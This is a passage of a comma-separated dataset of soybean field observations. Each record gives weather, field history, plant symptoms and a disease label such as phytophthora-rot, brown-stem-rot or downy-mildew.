gt-norm, lt-norm, yes, diff-lst-year, low-areas, pot-severe, none, 80-89, abnorm, norm, absent, dna, dna, absent, absent, absent, abnorm, yes, below-soil, brown, absent, firm-and-dry, absent, none, absent, dna, dna, norm, absent, absent, norm, absent, norm, rhizoctonia-root-rot\nmay, lt-normal, gt-norm, lt-norm, yes, same-lst-two-yrs, low-areas, pot-severe, none, 80-89, abnorm, norm, absent, dna, dna, absent, absent, absent, abnorm, yes, below-soil, brown, absent, firm-and-dry, absent, none, absent, dna, dna, norm, absent, absent, norm, absent, norm, rhizoctonia-root-rot\njune, lt-normal, gt-norm, lt-norm, yes, same-lst-sev-yrs, low-areas, severe, none, 80-89, abnorm, norm, absent, dna, dna, absent, absent, absent, abnorm, yes, below-soil, brown, absent, firm-and-dry, absent, none, absent, dna, dna, norm, absent, absent, norm, absent, norm, rhizoctonia-root-rot\njune, lt-normal, gt-norm, lt-norm, yes, same-lst-two-yrs, low-areas, pot-severe, none, lt-80, abnorm, norm, absent, dna, dna, absent, absent, absent, abnorm, yes, below-soil, brown, absent, firm-and-dry, present, none, absent, dna, dna, norm, absent, absent, norm, absent, norm, rhizoctonia-root-rot\naugust, normal, gt-norm, lt-norm, no, diff-lst-year, low-areas, severe, none, lt-80, abnorm, abnorm, absent, dna, dna, absent, absent, absent, abnorm, no, below-soil, brown, absent, firm-and-dry, present, none, absent, dna, dna, norm, absent, absent, norm, absent, norm, rhizoctonia-root-rot\napril, lt-normal, gt-norm, lt-norm, yes, same-lst-yr, low-areas, pot-severe, fungicide, 80-89, abnorm, norm, absent, dna, dna, absent, absent, absent, abnorm, yes, below-soil, brown, absent, firm-and-dry, present, none, absent, dna, dna, norm, absent, absent, norm, absent, norm, rhizoctonia-root-rot\njune, lt-normal, gt-norm, lt-norm, yes, same-lst-sev-yrs, low-areas, severe, none, lt-80, abnorm, norm, absent, dna, dna, absent, absent, absent, abnorm, yes, below-soil, brown, absent, firm-and-dry, present, none, absent, dna, dna, norm, absent, absent, norm, absent, norm, rhizoctonia-root-rot\njune, lt-normal, norm, lt-norm, yes, same-lst-sev-yrs, low-areas, severe, none, lt-80, abnorm, abnorm, absent, dna, dna, absent, absent, absent, abnorm, yes, below- \\\n soil, dk-brown-blk, absent, absent, absent, none, absent, dna, dna, norm, absent, absent, norm, absent, norm, phytophthora-rot\nmay, lt-normal, gt-norm, lt-norm, yes, same-lst-sev-yrs, low-areas, pot-severe, fungicide, lt-80, abnorm, abnorm, absent, dna, dna, absent, absent, absent, abnorm, yes, above- \\\n soil, dk-brown-blk, absent, absent, absent, none, absent, dna, dna, norm, absent, absent, norm, absent, norm, phytophthora-rot\njune, lt-normal, gt-norm, norm, no, same-lst-sev-yrs, low-areas, severe, fungicide, lt-80, abnorm, abnorm, absent, dna, dna, absent, absent, absent, abnorm, yes, above-soil, dk-brown-blk, absent, firm-and-dry, absent, none, absent, dna, dna, norm, absent, absent, norm, absent, norm, phytophthora-rot\nmay, lt-normal, gt-norm, norm, no, same-lst-two-yrs, whole-field, pot-severe, fungicide, 80-89, abnorm, abnorm, absent, dna, dna, absent, absent, absent, abnorm, yes, above-soil, dk-brown-blk, absent, firm-and-dry, absent, none, absent, dna, dna, norm, absent, absent, norm, absent, norm, phytophthora-rot\njuly, lt-normal, norm, norm, ?, same-lst-two-yrs, low-areas, ?, ?, ?, abnorm, abnorm, absent, dna, dna, absent, absent, absent, abnorm, ?, above-sec-nde, dk-brown-blk, ?, absent, absent, none, absent, ?, ?, ?, ?, ?, ?, ?, rotted, phytophthora-rot\njuly, lt-normal, norm, norm, ?, same-lst-sev-yrs, low-areas, ?, ?, ?, abnorm, abnorm, absent, dna, dna, absent, absent, absent, abnorm, ?, above-soil, dk-brown-blk, ?, absent, absent, none, absent, ?, ?, ?, ?, ?, ?, ?, rotted, phytophthora-rot\napril, lt-normal, gt-norm, gt-norm, ?, same-lst-sev-yrs, low-areas, ?, ?, ?, abnorm, abnorm, ?, ?, ?, ?, ?, ?, abnorm, ?, above-sec-nde, dk-brown-blk, ?, absent, absent, none, absent, ?, ?, ?, ?, ?, ?, ?, rotted, phytophthora-rot\nmay, lt-normal, gt-norm, norm, ?, same-lst-two-yrs, low-areas, ?, ?, ?, abnorm, abnorm, ?, ?, ?, ?, ?, ?, abnorm, ?, below-soil, dk-brown-blk, ?, absent, absent, none, absent, ?, ?, ?, ?, ?, ?, ?, rotted, phytophthora-rot\nmay, lt-normal, gt-norm, norm, ?, diff-lst-year, low-areas, ?, ?, ?, abnorm, abnorm, ?, ?, ?, ?, ?, ?, abnorm, ?, absent, dk-brown-blk, ?, watery, absent, none, absent, ?, ?, ?, ?, ?, ?, ?, rotted, phytophthora-rot\naugust, lt-normal, norm, gt-norm, ?, same-lst-sev-yrs, low-areas, ?, ?, ?, abnorm, abnorm, ?, ?, ?, ?, ?, ?, abnorm, ?, above-sec-nde, dk-brown-blk, ?, absent, absent, none, absent, ?, ?, ?, ?, ?, ?, ?, rotted, phytophthora-rot\nmay, lt-normal, gt-norm, gt-norm, ?, same-lst-two-yrs, low-areas, ?, ?, ?, abnorm, abnorm, ?, ?, ?, ?, ?, ?, abnorm, ?, below-soil, dk-brown-blk, ?, watery, absent, none, absent, ?, ?, ?, ?, ?, ?, ?, rotted, phytophthora-rot\njune, lt-normal, gt-norm, norm, ?, same-lst-sev-yrs, low-areas, ?, ?, ?, abnorm, abnorm, ?, ?, ?, ?, ?, ?, abnorm, ?, below-soil, dk-brown-blk, ?, absent, absent, none, absent, ?, ?, ?, ?, ?, ?, ?, rotted, phytophthora-rot\njuly, lt-normal, gt-norm, gt-norm, ?, same-lst-two-yrs, low-areas, ?, ?, ?, abnorm, abnorm, ?, ?, ?, ?, ?, ?, abnorm, ?, above-sec-nde, dk-brown-blk, ?, absent, absent, none, absent, ?, ?, ?, ?, ?, ?, ?, rotted, phytophthora-rot\naugust, lt-normal, norm, norm, ?, same-lst-sev-yrs, low-areas, ?, ?, ?, abnorm, abnorm, ?, ?, ?, ?, ?, ?, abnorm, ?, above-sec-nde, dk-brown-blk, ?, absent, absent, none, absent, ?, ?, ?, ?, ?, ?, ?, rotted, phytophthora-rot\nmay, lt-normal, gt-norm, norm, ?, same-lst-two-yrs, low-areas, ?, ?, ?, abnorm, abnorm, ?, ?, ?, ?, ?, ?, abnorm, ?, below-soil, dk-brown-blk, ?, watery, absent, none, absent, ?, ?, ?, ?, ?, ?, ?, rotted, phytophthora-rot\nmay, lt-normal, gt-norm, norm, ?, same-lst-sev-yrs, low-areas, ?, ?, ?, abnorm, abnorm, ?, ?, ?, ?, ?, ?, abnorm, ?, above-sec-nde, dk-brown-blk, ?, watery, absent, none, absent, ?, ?, ?, ?, ?, ?, ?, rotted, phytophthora-rot\nmay, lt-normal, gt-norm, gt-norm, ?, same-lst-yr, low-areas, ?, ?, ?, abnorm, abnorm, ?, ?, ?, ?, ?, ?, abnorm, ?, above-sec-nde, dk-brown-blk, ?, watery, absent, none, absent, ?, ?, ?, ?, ?, ?, ?, rotted, phytophthora-rot\njune, lt-normal, norm, gt-norm, ?, same-lst-two-yrs, low-areas, ?, ?, ?, abnorm, abnorm, ?, ?, ?, ?, ?, ?, abnorm, ?, below-soil, dk-brown-blk, ?, watery, absent, none, absent, ?, ?, ?, ?, ?, ?, ?, rotted, phytophthora-rot\njuly, lt-normal, norm, norm, ?, same-lst-sev-yrs, low-areas, ?, ?, ?, abnorm, abnorm, ?, ?, ?, ?, ?, ?, abnorm, ?, above-soil, dk-brown-blk, ?, absent, absent, none, absent, ?, ?, ?, ?, ?, ?, ?, rotted, phytophthora-rot\njuly, lt-normal, norm, norm, ?, same-lst-yr, low-areas, ?, ?, ?, abnorm, abnorm, ?, ?, ?, ?, ?, ?, abnorm, ?, above-sec-nde, dk-brown-blk, ?, absent, absent, none, absent, ?, ?, ?, ?, ?, ?, ?, rotted, phytophthora-rot\nmay, lt-normal, gt-norm, gt-norm, ?, same-lst-yr, low-areas, ?, ?, ?, abnorm, abnorm, ?, ?, ?, ?, ?, ?, abnorm, ?, absent, dk-brown-blk, ?, watery, absent, none, absent, ?, ?, ?, ?, ?, ?, ?, rotted, phytophthora-rot\njune, lt-normal, gt-norm, gt-norm, ?, same-lst-two-yrs, low-areas, ?, ?, ?, abnorm, abnorm, ?, ?, ?, ?, ?, ?, abnorm, ?, above-soil, dk-brown-blk, ?, absent, absent, none, absent, ?, ?, ?, ?, ?, ?, ?, rotted, phytophthora-rot\njuly, lt-normal, norm, norm, ?, same-lst-sev-yrs, low-areas, ?, ?, ?, abnorm, abnorm, ?, ?, ?, ?, ?, ?, abnorm, ?, above-sec-nde, dk-brown-blk, ?, absent, absent, none, absent, ?, ?, ?, ?, ?, ?, ?, rotted, phytophthora-rot\naugust, lt-normal, norm, norm, ?, same-lst-two-yrs, low-areas, ?, ?, ?, abnorm, abnorm, ?, ?, ?, ?, ?, ?, abnorm, ?, above-sec-nde, dk-brown-blk, ?, absent, absent, none, absent, ?, ?, ?, ?, ?, ?, ?, rotted, phytophthora-rot\nmay, lt-normal, gt-norm, gt-norm, ?, same-lst-sev-yrs, low-areas, ?, ?, ?, abnorm, abnorm, ?, ?, ?, ?, ?, ?, abnorm, ?, absent, dk-brown-blk, ?, watery, absent, none, absent, ?, ?, ?, ?, ?, ?, ?, rotted, phytophthora-rot\njune, lt-normal, gt-norm, gt-norm, ?, same-lst-two-yrs, low-areas, ?, ?, ?, abnorm, abnorm, ?, ?, ?, ?, ?, ?, abnorm, ?, above-soil, dk-brown-blk, ?, absent, absent, none, absent, ?, ?, ?, ?, ?, ?, ?, rotted, phytophthora-rot\njuly, lt-normal, norm, norm, ?, same-lst-sev-yrs, low-areas, ?, ?, ?, abnorm, abnorm, ?, ?, ?, ?, ?, ?, abnorm, ?, above-sec-nde, dk-brown-blk, ?, absent, absent, none, absent, ?, ?, ?, ?, ?, ?, ?, rotted, phytophthora-rot\naugust, lt-normal, norm, norm, ?, same-lst-two-yrs, low-areas, ?, ?, ?, abnorm, abnorm, ?, ?, ?, ?, ?, ?, abnorm, ?, above-sec-nde, dk-brown-blk, ?, absent, absent, none, absent, ?, ?, ?, ?, ?, ?, ?, rotted, phytophthora-rot\nmay, lt-normal, gt-norm, gt-norm, ?, same-lst-sev-yrs, low-areas, ?, ?, ?, abnorm, abnorm, ?, ?, ?, ?, ?, ?, abnorm, ?, absent, dk-brown-blk, ?, watery, absent, none, absent, ?, ?, ?, ?, ?, ?, ?, rotted, phytophthora-rot\njune, lt-normal, gt-norm, gt-norm, ?, same-lst-two-yrs, low-areas, ?, ?, ?, abnorm, abnorm, ?, ?, ?, ?, ?, ?, abnorm, ?, above-soil, dk-brown-blk, ?, absent, absent, none, absent, ?, ?, ?, ?, ?, ?, ?, rotted, phytophthora-rot\njuly, lt-normal, norm, norm, ?, same-lst-sev-yrs, low-areas, ?, ?, ?, abnorm, abnorm, ?, ?, ?, ?, ?, ?, abnorm, ?, above-sec-nde, dk-brown-blk, ?, absent, absent, none, absent, ?, ?, ?, ?, ?, ?, ?, rotted, phytophthora-rot\nmay, lt-normal, gt-norm, gt-norm, ?, same-lst-two-yrs, low-areas, ?, ?, ?, abnorm, abnorm, ?, ?, ?, ?, ?, ?, abnorm, ?, absent, dk-brown-blk, ?, watery, absent, none, absent, ?, ?, ?, ?, ?, ?, ?, rotted, phytophthora-rot\njune, lt-normal, gt-norm, norm, ?, same-lst-sev-yrs, low-areas, ?, ?, ?, abnorm, abnorm, ?, ?, ?, ?, ?, ?, abnorm, ?, above-soil, dk-brown-blk, ?, absent, absent, none, absent, ?, ?, ?, ?, ?, ?, ?, rotted, phytophthora-rot\njuly, lt-normal, gt-norm, norm, ?, same-lst-yr, low-areas, ?, ?, ?, abnorm, abnorm, ?, ?, ?, ?, ?, ?, abnorm, ?, above-sec-nde, dk-brown-blk, ?, absent, absent, none, absent, ?, ?, ?, ?, ?, ?, ?, rotted, phytophthora-rot\nmay, lt-normal, gt-norm, gt-norm, ?, same-lst-two-yrs, low-areas, ?, ?, ?, abnorm, abnorm, ?, ?, ?, ?, ?, ?, abnorm, ?, absent, dk-brown-blk, ?, watery, absent, none, absent, ?, ?, ?, ?, ?, ?, ?, rotted, phytophthora-rot\njune, lt-normal, gt-norm, gt-norm, ?, same-lst-sev-yrs, low-areas, ?, ?, ?, abnorm, abnorm, ?, ?, ?, ?, ?, ?, abnorm, ?, above-soil, dk-brown-blk, ?, absent, absent, none, absent, ?, ?, ?, ?, ?, ?, ?, rotted, phytophthora-rot\njuly, lt-normal, norm, norm, ?, same-lst-two-yrs, low-areas, ?, ?, ?, abnorm, abnorm, ?, ?, ?, ?, ?, ?, abnorm, ?, above-sec-nde, dk-brown-blk, ?, absent, absent, none, absent, ?, ?, ?, ?, ?, ?, ?, rotted, phytophthora-rot\naugust, lt-normal, norm, norm, ?, same-lst-sev-yrs, low-areas, ?, ?, ?, abnorm, abnorm, ?, ?, ?, ?, ?, ?, abnorm, ?, above-sec-nde, dk-brown-blk, ?, absent, absent, none, absent, ?, ?, ?, ?, ?, ?, ?, rotted, phytophthora-rot\nmay, lt-normal, gt-norm, norm, ?, same-lst-two-yrs, low-areas, ?, ?, ?, abnorm, abnorm, ?, ?, ?, ?, ?, ?, abnorm, ?, above-soil, dk-brown-blk, ?, watery, absent, none, absent, ?, ?, ?, ?, ?, ?, ?, rotted, phytophthora-rot\njune, lt-normal, gt-norm, norm, ?, same-lst-sev-yrs, low-areas, ?, ?, ?, abnorm, abnorm, ?, ?, ?, ?, ?, ?, abnorm, ?, above-sec-nde, dk-brown-blk, ?, absent, absent, none, absent, ?, ?, ?, ?, ?, ?, ?, rotted, phytophthora-rot\njuly, lt-normal, norm, norm, ?, same-lst-yr, low-areas, ?, ?, ?, abnorm, abnorm, ?, ?, ?, ?, ?, ?, abnorm, ?, above-sec-nde, dk-brown-blk, ?, absent, absent, none, absent, ?, ?, ?, ?, ?, ?, ?, rotted, phytophthora-rot\naugust, lt-normal, norm, norm, ?, same-lst-yr, low-areas, ?, ?, ?, abnorm, abnorm, ?, ?, ?, ?, ?, ?, abnorm, ?, above-sec-nde, dk-brown-blk, ?, absent, absent, none, absent, ?, ?, ?, ?, ?, ?, ?, rotted, phytophthora-rot\nmay, lt-normal, gt-norm, gt-norm, ?, same-lst-two-yrs, low-areas, ?, ?, ?, abnorm, abnorm, ?, ?, ?, ?, ?, ?, abnorm, ?, above-soil, dk-brown-blk, ?, watery, absent, none, absent, ?, ?, ?, ?, ?, ?, ?, rotted, phytophthora-rot\njune, lt-normal, gt-norm, gt-norm, ?, same-lst-sev-yrs, low-areas, ?, ?, ?, abnorm, abnorm, ?, ?, ?, ?, ?, ?, abnorm, ?, above-sec-nde, dk-brown-blk, ?, absent, absent, none, absent, ?, ?, ?, ?, ?, ?, ?, rotted, phytophthora-rot\njuly, lt-normal, norm, norm, ?, same-lst-two-yrs, low-areas, ?, ?, ?, abnorm, abnorm, ?, ?, ?, ?, ?, ?, abnorm, ?, above-sec-nde, dk-brown-blk, ?, absent, absent, none, absent, ?, ?, ?, ?, ?, ?, ?, rotted, phytophthora-rot\njune, lt-normal, norm, norm, ?, same-lst-sev-yrs, low-areas, ?, ?, ?, abnorm, abnorm, ?, ?, ?, ?, ?, ?, abnorm, ?, above-sec-nde, dk-brown-blk, ?, absent, absent, none, absent, ?, ?, ?, ?, ?, ?, ?, rotted, phytophthora-rot\njuly, lt-normal, norm, norm, ?, same-lst-two-yrs, low-areas, ?, ?, ?, abnorm, abnorm, ?, ?, ?, ?, ?, ?, abnorm, ?, above-sec-nde, dk-brown-blk, ?, absent, absent, none, absent, ?, ?, ?, ?, ?, ?, ?, rotted, phytophthora-rot\njuly, lt-normal, norm, norm, ?, same-lst-sev-yrs, low-areas, ?, ?, ?, abnorm, abnorm, ?, ?, ?, ?, ?, ?, abnorm, ?, above-sec-nde, dk-brown-blk, ?, absent, absent, none, absent, ?, ?, ?, ?, ?, ?, ?, rotted, phytophthora-rot\njuly, normal, lt-norm, lt-norm, no, same-lst-yr, scattered, severe, none, 90-100, abnorm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, absent, absent, abnorm, no, absent, tan, absent, absent, absent, brown, absent, norm, dna, norm, absent, absent, norm, absent, norm, brown-stem-rot\naugust, normal, norm, lt-norm, no, same-lst-two-yrs, upper-areas, pot-severe, fungicide, 80- \\\n 89, abnorm, norm, absent, dna, dna, absent, absent, absent, abnorm, no, absent, tan, absent, absent, absent, brown, absent, norm, dna, norm, absent, absent, norm, absent, norm, brown-stem-rot\njuly, normal, lt-norm, lt-norm, no, same-lst-sev-yrs, upper-areas, severe, none, 80-89, abnorm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, absent, absent, abnorm, no, absent, tan, absent, absent, absent, brown, absent, norm, dna, norm, absent, absent, norm, absent, norm, brown-stem-rot\nseptember, normal, lt-norm, norm, no, same-lst-sev-yrs, scattered, pot-severe, none, 90-100, abnorm, abnorm, no-yellow-halos, w-s- \\\n marg, dna, absent, absent, absent, abnorm, no, absent, tan, absent, absent, absent, brown, absent, norm, dna, norm, absent, absent, norm, absent, norm, brown-stem-rot\noctober, normal, lt-norm, norm, no, same-lst-two-yrs, low-areas, pot-severe, fungicide, 80-89, abnorm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, absent, absent, abnorm, no, absent, tan, absent, absent, absent, brown, absent, norm, dna, norm, absent, absent, norm, absent, norm, brown-stem-rot\naugust, normal, norm, lt-norm, no, same-lst-sev-yrs, upper-areas, severe, none, lt- \\\n 80, abnorm, norm, absent, dna, dna, absent, absent, absent, abnorm, no, absent, tan, absent, absent, absent, brown, absent, norm, dna, norm, absent, absent, norm, absent, norm, brown-stem-rot\nseptember, normal, lt-norm, gt-norm, yes, same-lst-two-yrs, whole-field, pot-severe, none, lt- \\\n 80, norm, abnorm, absent, dna, dna, absent, absent, absent, abnorm, yes, absent, dna, absent, absent, absent, brown, absent, norm, absent, norm, absent, absent, norm, absent, norm, brown-stem-rot\nseptember, normal, lt-norm, norm, yes, same-lst-yr, scattered, pot-severe, fungicide, 90- \\\n 100, norm, abnorm, absent, dna, dna, absent, absent, absent, abnorm, yes, absent, dna, absent, absent, absent, brown, absent, norm, absent, norm, absent, absent, norm, absent, norm, brown-stem-rot\naugust, normal, lt-norm, norm, yes, same-lst-sev-yrs, upper-areas, pot-severe, none, 80- \\\n 89, norm, abnorm, absent, dna, dna, absent, absent, absent, abnorm, yes, absent, dna, absent, absent, absent, brown, absent, norm, absent, norm, absent, absent, norm, absent, norm, brown-stem-rot\nseptember, normal, lt-norm, norm, yes, same-lst-two-yrs, whole-field, pot-severe, none, lt- \\\n 80, norm, abnorm, absent, dna, dna, absent, absent, absent, abnorm, yes, absent, dna, absent, absent, absent, brown, absent, norm, absent, norm, absent, absent, norm, absent, norm, brown-stem-rot\nseptember, normal, lt-norm, norm, yes, same-lst-two-yrs, upper-areas, pot-severe, fungicide, 80- \\\n 89, norm, abnorm, absent, dna, dna, absent, absent, absent, abnorm, yes, absent, dna, absent, absent, absent, brown, absent, norm, absent, norm, absent, absent, norm, absent, norm, brown-stem-rot\njuly, lt-normal, norm, lt-norm, yes, same-lst-two-yrs, scattered, severe, none, lt- \\\n 80, abnorm, norm, absent, dna, dna, absent, absent, absent, abnorm, no, absent, tan, absent, absent, absent, brown, absent, norm, dna, norm, absent, absent, norm, absent, norm, brown-stem-rot\nseptember, lt-normal, norm, norm, yes, same-lst-two-yrs, whole-field, severe, none, 90- \\\n 100, abnorm, norm, absent, dna, dna, absent, absent, absent, abnorm, no, absent, tan, absent, absent, absent, brown, absent, norm, dna, norm, absent, absent, norm, absent, norm, brown-stem-rot\naugust, lt-normal, lt-norm, lt-norm, yes, same-lst-two-yrs, upper-areas, severe, none, 80-89, abnorm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, absent, absent, abnorm, yes, absent, tan, absent, absent, absent, brown, absent, norm, dna, norm, absent, absent, norm, absent, norm, brown-stem-rot\nseptember, lt-normal, norm, lt-norm, yes, same-lst-sev-yrs, whole-field, pot-severe, fungicide, lt- \\\n 80, abnorm, norm, absent, dna, dna, absent, absent, absent, abnorm, no, absent, tan, absent, absent, absent, brown, absent, norm, dna, norm, absent, absent, norm, absent, norm, brown-stem-rot\naugust, lt-normal, norm, lt-norm, yes, same-lst-sev-yrs, low-areas, pot-severe, fungicide, 90- \\\n 100, abnorm, norm, absent, dna, dna, absent, absent, absent, abnorm, yes, absent, tan, absent, absent, absent, brown, absent, norm, dna, norm, absent, absent, norm, absent, norm, brown-stem-rot\noctober, lt-normal, norm, norm, yes, same-lst-sev-yrs, whole-field, pot-severe, fungicide, 80- \\\n 89, abnorm, norm, absent, dna, dna, absent, absent, absent, abnorm, no, absent, tan, absent, absent, absent, brown, absent, norm, dna, norm, absent, absent, norm, absent, norm, brown-stem-rot\njuly, normal, lt-norm, norm, yes, same-lst-two-yrs, upper-areas, pot-severe, none, 80- \\\n 89, norm, abnorm, absent, dna, dna, absent, absent, absent, abnorm, yes, absent, dna, absent, absent, absent, brown, absent, norm, absent, norm, absent, absent, norm, absent, norm, brown-stem-rot\nseptember, normal, lt-norm, gt-norm, yes, same-lst-sev-yrs, scattered, pot-severe, none, lt- \\\n 80, norm, abnorm, absent, dna, dna, absent, absent, absent, abnorm, yes, absent, dna, absent, absent, absent, brown, absent, norm, absent, norm, absent, absent, norm, absent, norm, brown-stem-rot\njuly, normal, lt-norm, norm, yes, same-lst-two-yrs, upper-areas, pot-severe, fungicide, 80- \\\n 89, norm, abnorm, absent, dna, dna, absent, absent, absent, abnorm, yes, absent, dna, absent, absent, absent, brown, absent, norm, absent, norm, absent, absent, norm, absent, norm, brown-stem-rot\naugust, normal, lt-norm, norm, yes, same-lst-yr, whole-field, pot-severe, none, 90- \\\n 100, norm, abnorm, absent, dna, dna, absent, absent, absent, abnorm, yes, absent, dna, absent, absent, absent, brown, absent, norm, absent, norm, absent, absent, norm, absent, norm, brown-stem-rot\nseptember, normal, lt-norm, gt-norm, yes, same-lst-two-yrs, scattered, pot-severe, fungicide, 90- \\\n 100, norm, abnorm, absent, dna, dna, absent, absent, absent, abnorm, yes, absent, dna, absent, absent, absent, brown, absent, norm, absent, norm, absent, absent, norm, absent, norm, brown-stem-rot\naugust, normal, lt-norm, norm, yes, same-lst-yr, scattered, pot-severe, none, 90- \\\n 100, norm, abnorm, absent, dna, dna, absent, absent, absent, abnorm, yes, absent, dna, absent, absent, absent, brown, absent, norm, absent, norm, absent, absent, norm, absent, norm, brown-stem-rot\nseptember, normal, lt-norm, gt-norm, yes, same-lst-sev-yrs, upper-areas, pot-severe, fungicide, 80- \\\n 89, norm, abnorm, absent, dna, dna, absent, absent, absent, abnorm, yes, absent, dna, absent, absent, absent, brown, absent, norm, absent, norm, absent, absent, norm, absent, norm, brown-stem-rot\nmay, normal, lt-norm, lt-norm, no, diff-lst-year, scattered, minor, none, 90-100, norm, abnorm, absent, dna, dna, absent, absent, upper- \\\n surf, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, powdery-mildew\njune, normal, norm, norm, no, same-lst-yr, low-areas, pot-severe, fungicide, 80-89, norm, abnorm, absent, dna, dna, absent, absent, upper- \\\n surf, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, powdery-mildew\njuly, normal, gt-norm, lt-norm, no, same-lst-two-yrs, upper-areas, minor, none, lt-80, norm, abnorm, absent, dna, dna, absent, absent, upper- \\\n surf, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, powdery-mildew\naugust, normal, lt-norm, norm, no, same-lst-sev-yrs, whole-field, pot-severe, none, 90-100, norm, abnorm, absent, dna, dna, absent, absent, upper- \\\n surf, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, powdery-mildew\nseptember, normal, norm, lt-norm, no, diff-lst-year, scattered, minor, none, 80-89, norm, abnorm, absent, dna, dna, absent, absent, upper- \\\n surf, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, powdery-mildew\naugust, normal, norm, lt-norm, no, same-lst-two-yrs, upper-areas, minor, fungicide, 90-100, norm, abnorm, absent, dna, dna, absent, absent, upper- \\\n surf, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, powdery-mildew\njuly, lt-normal, lt-norm, norm, yes, same-lst-sev-yrs, whole-field, pot-severe, fungicide, lt-80, norm, abnorm, absent, dna, dna, absent, absent, upper- \\\n surf, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, powdery-mildew\naugust, lt-normal, norm, lt-norm, yes, diff-lst-year, scattered, minor, other, 90-100, norm, abnorm, absent, dna, dna, absent, absent, upper- \\\n surf, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, powdery-mildew\njune, lt-normal, norm, lt-norm, yes, diff-lst-year, scattered, minor, none, 80-89, norm, abnorm, absent, dna, dna, absent, absent, upper- \\\n surf, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, powdery-mildew\nseptember, lt-normal, lt-norm, norm, yes, same-lst-sev-yrs, whole-field, pot-severe, none, 80-89, norm, abnorm, absent, dna, dna, absent, absent, upper- \\\n surf, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, powdery-mildew\njuly, normal, gt-norm, lt-norm, no, same-lst-two-yrs, upper-areas, pot-severe, none, 80-89, norm, abnorm, yellow-halos, w-s-marg, gt-1/8, absent, absent, lower- \\\n surf, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, abnorm, present, absent, norm, absent, norm, downy-mildew\naugust, normal, gt-norm, norm, no, same-lst-sev-yrs, whole-field, pot-severe, fungicide, lt-80, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, present, lower-surf, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, abnorm, present, absent, norm, absent, norm, downy-mildew\nseptember, normal, gt-norm, norm, no, same-lst-yr, scattered, pot-severe, none, 80-89, norm, abnorm, yellow-halos, w-s-marg, gt-1/8, absent, absent, lower- \\\n surf, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, abnorm, present, absent, norm, absent, norm, downy-mildew\njune, normal, gt-norm, lt-norm, no, diff-lst-year, whole-field, pot-severe, fungicide, lt-80, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, absent, lower-surf, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, abnorm, present, absent, norm, absent, norm, downy-mildew\njuly, normal, gt-norm, norm, no, same-lst-yr, scattered, pot-severe, none, 80-89, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/8, absent, present, lower- \\\n surf, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, abnorm, present, absent, norm, absent, norm, downy-mildew\noctober, lt-normal, gt-norm, lt-norm, yes, same-lst-yr, whole-field, minor, fungicide, lt-80, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, present, lower-surf, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, abnorm, present, absent, norm, absent, norm, downy-mildew\njuly, lt-normal, gt-norm, gt-norm, yes, same-lst-sev-yrs, low-areas, pot-severe, fungicide, lt-80, norm, abnorm, yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, absent, lower-surf, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, abnorm, present, absent, norm, absent, norm, downy-mildew\nseptember, lt-normal, gt-norm, norm, yes, same-lst-two-yrs, whole-field, minor, fungicide, lt-80, norm, abnorm, yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, absent, lower-surf, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, abnorm, present, absent, norm, absent, norm, downy-mildew\njuly, lt-normal, gt-norm, norm, yes, same-lst-yr, low-areas, minor, fungicide, lt-80, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/8, absent, absent, lower- \\\n surf, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, abnorm, present, absent, norm, absent, norm, downy-mildew\nseptember, lt-normal, gt-norm, lt-norm, yes, same-lst-sev-yrs, whole-field, minor, fungicide, lt-80, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, absent, lower-surf, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, abnorm, present, absent, norm, absent, norm, downy-mildew\nmay, lt-normal, gt-norm, norm, yes, same-lst-sev-yrs, upper-areas, pot-severe, none, lt-80, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, absent, absent, abnorm, yes, above-sec- \\\n nde, brown, present, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, brown-spot\njune, normal, gt-norm, norm, yes, same-lst-yr, low-areas, pot-severe, none, 90-100, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, present, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, brown-spot\njuly, normal, gt-norm, norm, yes, same-lst-two-yrs, whole-field, pot-severe, none, 80-89, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, brown-spot\njune, lt-normal, gt-norm, norm, yes, same-lst-sev-yrs, whole-field, pot-severe, 